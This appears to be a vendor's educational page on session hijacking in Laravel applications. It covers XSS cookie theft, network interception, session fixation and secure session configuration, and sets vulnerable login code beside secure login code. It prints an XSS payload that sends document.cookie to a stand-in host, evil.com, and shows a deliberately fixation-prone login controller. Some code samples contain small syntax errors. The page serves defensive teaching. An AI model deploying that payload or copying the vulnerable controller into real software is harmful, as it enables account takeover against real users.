What Is Session Hijacking?
An attack where an adversary takes over a valid user session by stealing or predicting the session identifier. Once the attacker has the session ID, they can impersonate the user and perform any action the user is authorized to do.
How It Works
Session hijacking steals or predicts a user's session identifier to impersonate them without knowing their credentials.
Method 1: Cookie theft via XSS — If HttpOnly is false on the session cookie, injected JavaScript can read document.cookie, which contains the session token. The script exfiltrates it: new Image().src='https://evil.com/steal?c='+document.cookie. The attacker sets this stolen cookie in their browser and is immediately authenticated as the victim.
Method 2: Network interception — If the session cookie lacks the Secure flag, it is transmitted in plain HTTP requests. On a network where the attacker can observe traffic (local network MITM, public WiFi), they capture the Set-Cookie header from the login response and use the session token in their own requests.
Method 3: Session fixation — Before the victim logs in, the attacker somehow sets a specific session ID in the victim's browser (via a URL parameter or JavaScript if they have XSS). If the application does not regenerate the session ID upon login — calling session()->regenerate() — the attacker can use the pre-set session ID after the victim authenticates, because it is now a valid authenticated session.
Method 4: Predictable session IDs — If session IDs are generated with weak randomness (rand(), microtime(), sequential numbers), an attacker can enumerate or predict valid session IDs and craft requests using guessed values. Laravel uses cryptographically secure session ID generation by default, so this primarily applies to custom session implementations.
Method 5: Session database exposure — With the file session driver, session files are stored on disk. On shared hosting or improperly configured servers, other users may be able to read these files. The database or redis driver stores sessions in controlled storage with proper access restrictions.
Types of Session Hijacking
Session Token Theft via XSS
Injected JavaScript reads `document.cookie` and exfiltrates the session token to the attacker — only possible when `HttpOnly` is false on the session cookie.
<script>new Image().src="https://evil.com/steal?c="+document.cookie</script>
// If HttpOnly=false and this script executes, attacker gets the session token
Session Fixation
Attacker sets a known session ID in the victim's browser before login — if the application does not regenerate the session ID after authentication, the attacker's ID becomes a valid authenticated session.
// VULNERABLE: login controller without session regeneration
if (Auth::attempt($credentials)) {
// Session ID remains the same as before login — fixation possible
return redirect()->intended('dashboard');
}
Session Token Theft via Network
Session cookie without `Secure` flag travels over HTTP connections and can be read by network-level attackers (MITM on public WiFi, ARP poisoning).
// config/session.php with Secure=false:
// HTTP response includes:
// Set-Cookie: laravel_session=abc123; path=/; httponly
// Missing "Secure" flag — cookie sent over HTTP and readable in transit
In Laravel Applications
Prevent session hijacking in Laravel by setting secure session options in config/session.php: "secure" => true (HTTPS only), "http_only" => true (no JavaScript access), "same_site" => "lax" (cross-site protection). Also regenerate session IDs after login with session()->regenerate().
Code Examples
Login Without vs. With Session Regeneration
Vulnerable
// VULNERABLE: session ID not regenerated after login
// Attacker who set a known session ID can now use it as an authenticated session
public function authenticate(Request $request): RedirectResponse
{
$credentials = $request->validate([
'email' => ['required', 'email'],
'password' => ['required'],
]);
if (Auth::attempt($credentials)) {
// Session ID unchanged — session fixation vulnerability
return redirect()->intended(RouteServiceProvider::HOME);
}
throw ValidationException::withMessages(['email' => __'auth.failed')]);
}
Secure
// SECURE: regenerate session ID after successful login
public function authenticate(Request $request): RedirectResponse
{
$credentials = $request->validate([
'email' => ['required', 'email'],
'password' => ['required'],
]);
if (Auth::attempt($credentials, $request->boolean('remember'))) {
$request->session()->regenerate(); // New session ID — invalidates any fixed session
return redirect()->intended(RouteServiceProvider::HOME);
}
throw ValidationException::withMessages(['email' => [__'auth.failed')]]);
}
// Also: properly invalidate session on logout
public function destroy(Request $request): RedirectResponse
{
Auth::logout();
$request->session()->invalidate(); // Destroy session data
$request->session()->regenerateToken(); // New CSRF token
return redirect('/');
}
Real-World Example
If http_only is false in your session config, an XSS vulnerability could steal the session cookie via document.cookie, allowing an attacker to impersonate the user.
Why It Matters
Session hijacking bypasses authentication entirely. An attacker who obtains a valid session ID can make requests to your Laravel application as the victim user, performing any action that user is authorized to do. This includes accessing sensitive data, making purchases, changing account settings, and in privileged accounts, accessing admin functionality.
Laravel's session security is controlled by config/session.php, which deserves careful review in every production application. The critical settings are: driver (use database or redis over file for security and scalability), lifetime (keep short — 120 minutes is standard), expire_on_close (consider true for sensitive applications), secure (must be true in production), http_only (must be true), and same_site (use lax or strict).
Session IDs should be regenerated after every login using session()->regenerate() or by relying on Laravel Sanctum, Breeze, or Fortify, which handle this automatically. Not regenerating the session ID after login creates a session fixation vulnerability — an attacker who can set a user's session ID before login can then use that same ID after login to take over the session.
Logout should also invalidate the session completely using session()->invalidate() followed by session()->regenerateToken() to prevent session replay after logout.
Common Misconceptions
Myth: Session hijacking requires access to the user's device.
Reality: Session cookies can be stolen remotely via XSS attacks, network interception (if the `secure` flag is not set), or log injection attacks. The attacker never needs physical access to the device.
Myth: Short session lifetimes prevent session hijacking.
Reality: Short lifetimes reduce the window of opportunity but do not prevent hijacking. If a cookie is stolen, the attacker can use it immediately. The primary defenses are secure cookie flags and XSS prevention.
Myth: HTTPS prevents session hijacking.
Reality: HTTPS prevents cookie theft via network interception. But session cookies can also be stolen via XSS (when `http_only` is false) or via client-side vulnerabilities. Both HTTPS and HttpOnly cookies are required together.
How to Detect This
In `config/session.php`, verify `'secure' => true`, `'http_only' => true`, and `'same_site' => 'lax'` (or `'strict'`). Run `php artisan tinker` and check `config('session')` to see the effective session configuration. Inspect session cookies in browser developer tools (Application > Cookies) and verify the `Secure`, `HttpOnly`, and `SameSite` attributes are set. Monitor Laravel logs in `storage/logs/laravel.log` for authentication events from unexpected IP addresses or unusual user agents. StackShield checks session cookie attributes by inspecting the `Set-Cookie` header in HTTP responses and alerts if the `Secure` or `HttpOnly` flags are missing.
How to Prevent This in Laravel
-
1
Set `'secure' => env('SESSION_SECURE_COOKIE', false)` in `config/session.php` and `SESSION_SECURE_COOKIE=true` in production `.env` to prevent session cookies from traveling over HTTP.
-
2
Set `'http_only' => true` in `config/session.php` to prevent JavaScript from reading the session cookie, blocking XSS-based session theft.
-
3
Call `$request->session()->regenerate()` immediately after `Auth::attempt()` succeeds in your login controller to prevent session fixation attacks.
-
4
Call `$request->session()->invalidate()` then `$request->session()->regenerateToken()` in your logout controller to fully destroy the session on sign-out.
-
5
Use `SESSION_DRIVER=redis` in production `.env` instead of the default `file` driver — Redis sessions are not stored as files on shared disk and are not readable by other server users.
Frequently Asked Questions
Does Laravel regenerate session IDs automatically after login?
Laravel's built-in authentication scaffolding (Breeze, Fortify) calls `$request->session()->regenerate()` after successful login. However, if you implement a custom login controller or use `Auth::attempt()` without calling `regenerate()` yourself, session fixation is possible. Always call `$request->session()->regenerate()` immediately after a successful `Auth::attempt()` in any custom authentication code.
What session driver should I use in production?
Use `redis` for production applications. The `file` driver stores session data as files on disk, which can be read by other system users on shared hosting and are not suitable for multi-server deployments (each server would have different session files). Redis provides fast, centralized session storage that works across multiple application servers, persists across deployments, and is not accessible to other server users.
What is the difference between `session()->invalidate()` and `session()->flush()`?
`session()->flush()` removes all data from the current session but keeps the same session ID — the session exists but is empty. `session()->invalidate()` destroys the entire session and generates a new session ID, which is what you want during logout. Use `invalidate()` on logout so the old session ID cannot be reused by an attacker who had previously stolen the token.
How can I detect if session hijacking is occurring in my application?
Implement session fingerprinting by storing the user's IP address and User-Agent in the session on login (`session(['user_ip' => $request->ip()])`), and validate these on each request. Significant changes (different country, completely different User-Agent) should trigger session invalidation and re-authentication. Log all authentication events including the IP, User-Agent, and timestamp to detect impossible travel patterns — a user logged in from London then Tokyo 5 minutes later indicates hijacking.
Related Terms
Cross-Site Request Forgery (CSRF)
An attack where a malicious website tricks a user's browser into performing an unwanted action on a site where the user is authenticated. The browser automatically sends cookies with the request, so the target site processes it as a legitimate action from the user.
Cross-Site Scripting (XSS)
A vulnerability where an attacker injects malicious JavaScript into web pages viewed by other users. The injected script runs in the victim's browser with the same privileges as legitimate scripts, allowing the attacker to steal session tokens, redirect users, or modify page content.
Man-in-the-Middle Attack (MITM)
An attack where an adversary secretly intercepts and potentially modifies communication between two parties who believe they are communicating directly with each other. The attacker can read, inject, or alter data in transit.
Related Articles
Laravel Session Security: HttpOnly, SameSite, and Secure Cookies
Your session configuration is probably insecure by default. Learn how to configure HttpOnly, SameSite, Secure flags, session expiration, and driver selection to prevent hijacking and fixation.
Laravel Session Security: Cookies, Hijacking & config/session.php
A deep dive into Laravel session security. Learn how cookie flags, session drivers, and config/session.php settings protect against hijacking, fixation, and sidejacking attacks.
Laravel Security Checklist 2026: 40 Checks Before Deploy
The 40 security checks we run on every Laravel app before it goes live. Most apps fail at least 5. Covers exposed .env files, debug mode, missing headers, CORS, session config, and dependency vulnerabilities.
Related Fix Guides
Monitor Your Laravel Application's Security
StackShield continuously checks your Laravel application from the outside, catching security issues before attackers find them.
Start Free Trial